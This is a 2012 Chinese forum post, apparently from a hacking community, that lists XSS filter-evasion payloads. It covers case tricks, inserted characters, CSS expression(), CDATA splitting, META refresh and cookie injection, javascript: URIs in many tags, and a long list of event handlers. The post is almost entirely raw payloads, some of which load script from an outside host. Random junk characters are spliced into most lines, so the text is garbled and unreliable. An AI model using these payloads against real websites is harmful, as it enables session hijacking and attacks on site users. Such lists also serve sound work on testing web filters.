找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2555|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
, x2 Q& S1 n0 r$ ?) |5 r( p+ ?. O  g: c  x

: d  G) B' k* }
. p: ^0 a$ i) m) K  H: I9 H2 y$ d7 i    <sCript>alert(‘d’)</scRipT>) l* F5 g7 H% X: ~: l9 s0 Q  M

+ s/ s) J% ~4 e* t  l2. 利用多加一些其它字符来规避Regular Expression的检查; M  ^  Q  t- D" k. K0 y
' i; r4 i; E6 ]7 w
    <<script>alert(‘c’)//<</script>! e# |' p; p; t+ t3 T; \+ q

  o7 I9 z1 H6 O    <SCRIPT a=">" SRC="t.js"></SCRIPT>
2 I# }9 {5 }7 `# t! i# t: B
# ]& g8 t" d" |( b$ ?9 J+ ~    <SCRIPT =">" SRC="t.js"></SCRIPT>
* l3 D/ j  i9 q; C. g" c1 o" ~9 C/ U" ~2 c, f  p, ]
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
$ r3 j5 r  n, `; Q) B& q7 X# m0 r
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
% a8 Y' O; g% a" _5 O7 N! J" R2 \  f5 ]; d3 Z4 U) n7 X9 C
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
" ^7 x3 K& `5 p, l6 @  O2 M. y# s+ v$ `* P% k" p* g
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>* M4 O+ n. j7 m

: d) P- o* R1 h6 n3. 以其它扩展名取代.js
9 a0 _# S0 T0 c1 i( r2 W8 n$ i$ \. R/ e6 B/ T1 Q
    <script src="bad.jpg"></script># E  u8 M- A" z) p6 B6 n

0 f2 q" L2 C5 X7 ]4. 将Javascript写在CSS档里
+ t: ~& O6 W$ C+ D8 Z! ?) v3 j$ Y# b9 p
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
1 p  S' C% h& }, M. K# I0 ~5 K* E0 a- }9 Q# w# R  C/ u( f
       example:, F) E. ]: G2 \) n4 l; `& D
$ z* w* Z. h  t9 O6 ^6 T. Z- y
          body {
- H& s- L. K& t2 V
1 |) p: w0 J. y: Z0 q               background-image: url(‘javascript:alert("XSS");’)4 l4 ~* z( N: Q5 l. p7 q1 s4 D0 d# J

4 R8 D: b( E% l' X1 A          }
5 l2 Q( q8 ]) N  J9 S& P
2 m  u2 u# e) F% `8 Q3 s$ w5. 在script的tag里加入一些其它字符
8 b$ M2 U) w: o. f! L
# t1 `/ c; `' N. _    <SCRIPT/SRC="t.js"></SCRIPT>- ?! U1 \4 p; U. H! f, F  r
+ u8 S  v% e7 i( O  @: r  }, a
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
+ G; X" M# Z! K0 {9 J, e
0 f1 F6 v. t2 s; [* v6. 使用tab或是new line来规避/ s5 o; t: P: h- I) R8 t

5 C) U4 N' X$ h5 Z, e% A6 u: p6 E    <img src="jav ascr ipt:alert(‘XSS3′)">; H( z2 O" C9 N3 z0 M. s
. n8 l4 O  @) b) U
    <img src="jav ascr ipt:alert(‘XSS3′)">
! f. }; d/ {" _2 K! Y" o5 P9 O* ~5 |- Z% c, j# ]
    <IMG SRC="jav ascript:alert(‘XSS’);">
$ Y1 U% \/ I; l; M: G0 {* q- Z8 b5 S( s/ G
         -> tag$ z0 J/ `& }/ V( m/ Z% P  O7 W; F

+ L4 i4 I1 V/ }! s' \, a: k2 f         -> new line! `. E' A4 x8 D/ L/ y  ]
. J2 q# ^! o! H% ^
7. 使用"\"来规避* u& d( i6 d; `( ?

0 |  x6 O3 ]9 T6 _! ^    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
/ ~" }* C& S# Q$ R$ x3 A# ?5 s% R/ a0 }" y+ G. l, w: _
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
- D9 Y* X( u+ J7 y
, w& {% b- S& Z2 v) S    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
6 b4 b' F+ ?0 M* j# ]. D
: b# h, C6 [2 `* _    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
2 {6 h; D. s3 Y5 b" ?8 P% b& \% i* W' e& A' Q. F& p' Q
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
. v* l4 S$ e) Z) C/ H, W8 C) m
7 Z( _" G) w$ n! p. Y8. 使用Hex encode来规避(也可能会把";"拿掉)8 T2 |  X+ s2 C" e. J' D  v" n
. J- Y$ w) S! s
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">1 I' w, T% E# D, V, G2 W! r
/ p' z6 G' D9 Q7 \$ J
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
9 n% y$ n' P3 F
* ~4 B4 o& R& `8 F& x    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">; Z+ {: q2 I6 M. |7 I/ O7 Y
! e' `! ?7 l4 u6 R. N- m4 n
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">) s- N$ M9 I) \# v  ~' g

; G' L; Y4 k5 V$ U6 ]0 H& c  y& d9. script in HTML tag
7 P  I3 E  L; b- ~6 ]! [
; I1 u0 u5 J3 W7 s8 Z" d' ^    <body onload=」alert(‘onload’)」>
- H; o4 N0 q" y0 S$ @8 Z5 w" U1 V# a6 z4 u" U% ]; n
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload2 \! h' [: ^( n- @5 ?! J' ?: \+ f
( ]2 N3 T6 Q% _
10. 在swf里含有xss的code
+ K  N7 P  x0 d4 h& ?3 y2 S7 P. ~; I/ E$ n
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
$ B  s# V9 O+ Q* P& E6 e7 g' P+ Y) [  m! q; g
11. 利用CDATA将xss的code拆开,再组合起来。
, M% H& h" ?; U) i& R  X0 T" V0 c7 ?9 e# n# M8 h/ {- @
    <XML ID=I><X><C>% o& C7 J! }0 v
5 Q5 h; N7 A0 q/ u  N2 V- b
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>1 T  L% y& N9 K, I7 f5 M: e

) B- w: d, C3 t+ w- w( h& C( D5 Z    </C></X>
& p5 U. h& m7 X( {5 C# A& O. Y' f+ i2 [$ J$ B  |$ m# s1 N
    </xml>- b* h# p/ Q( T. V7 Y; m

; L% m! i4 S7 z1 O* \' Q    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>/ }8 f4 N( e- Y* `) ?! f! }' M0 q
) x% l4 }2 I. Z2 x: F
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>! y' Q9 b2 `8 y& h. M, j3 x( W+ y
; X  V; r. W# [$ A2 b, s4 J+ V9 P4 d
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
- T" S4 ~" W6 _$ J' Y: A' z$ w& I8 q. l7 e+ m% Y$ W
12. 利用HTML+TIME。# {9 Z! h; P8 ~% }1 V- O; s1 Q

6 g) Y( z, u  q& \  v1 _  B    <HTML><BODY>
0 _3 t5 ^, r* N$ ]0 ~% g) r8 \4 Z
% H( H. N: T4 k+ E    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">& O. U, B% \& l
) W6 _- l. j0 w" c4 i7 c
    <?import namespace="t" implementation="#default#time2">
0 h5 ?$ h) ?; u& L+ G; N
- L- F: F9 ?7 g/ {5 Q( a    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
- \7 N9 S5 f# F/ H) B; f' Y
; P6 e. h! L8 z) L1 O& c& I    </BODY></HTML>
7 v% i% }7 M, [% k: W& ]; y  q4 U- S/ L1 n1 y$ H9 ^
13. 透过META写入Cookie。' n( I) B5 S6 ]5 i5 a

$ N5 a! k8 u3 P: L3 v* \2 v    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">. I- |. h* i* P( }  I
, v, K. V0 b) S
14. javascript in src , href , url
7 E4 C- E7 |, R  x6 O# n! E- ^! A0 @/ v, t" b' G
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>6 s3 _# \, X8 Z9 v. i

$ g8 M" O. U5 G" {6 w    <img src="javascript:alert(‘XSS3′)">
' J/ [0 S) i$ t9 a- G: q
; _1 n1 @; J5 ^' k<IMG DYNSRC="javascript:alert(‘XSS20′)">4 j  {& F6 ]' d% d2 X/ ]

. _8 e$ f+ P4 _7 u; |    <IMG LOWSRC="javascript:alert(‘XSS21′)">
; d! e0 N# U- s! t; `0 Y# X# I
7 D) [. w7 G+ {# W1 A6 G; X    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">" J3 B. E% ~) Z4 V. U5 d
6 y/ d' d2 X0 k5 a. I- D. Y
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>+ F% @0 k. M+ d" b
5 R; y" J; b9 C& x! w& `
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">2 J! X9 Y6 F1 F7 P  w4 x( I& m

! J0 H/ A% v) Z: ^: Z9 A- [8 {    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
6 {! y* w# [3 W! ]/ X$ `, z$ s$ w& Y+ q, M6 t) f2 v
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}5 g  G# Z% J$ B( O2 R8 `$ H" x8 T

% i, y) r: W: M7 ]" v7 p    </STYLE><A CLASS=XSS></A>3 h" u! A6 E& M" _" P3 Y9 j, e
: ~% V5 a: f5 r
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>8 v+ x2 t) ~, b
1 `0 T3 }7 B! e9 I/ z6 ^! x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表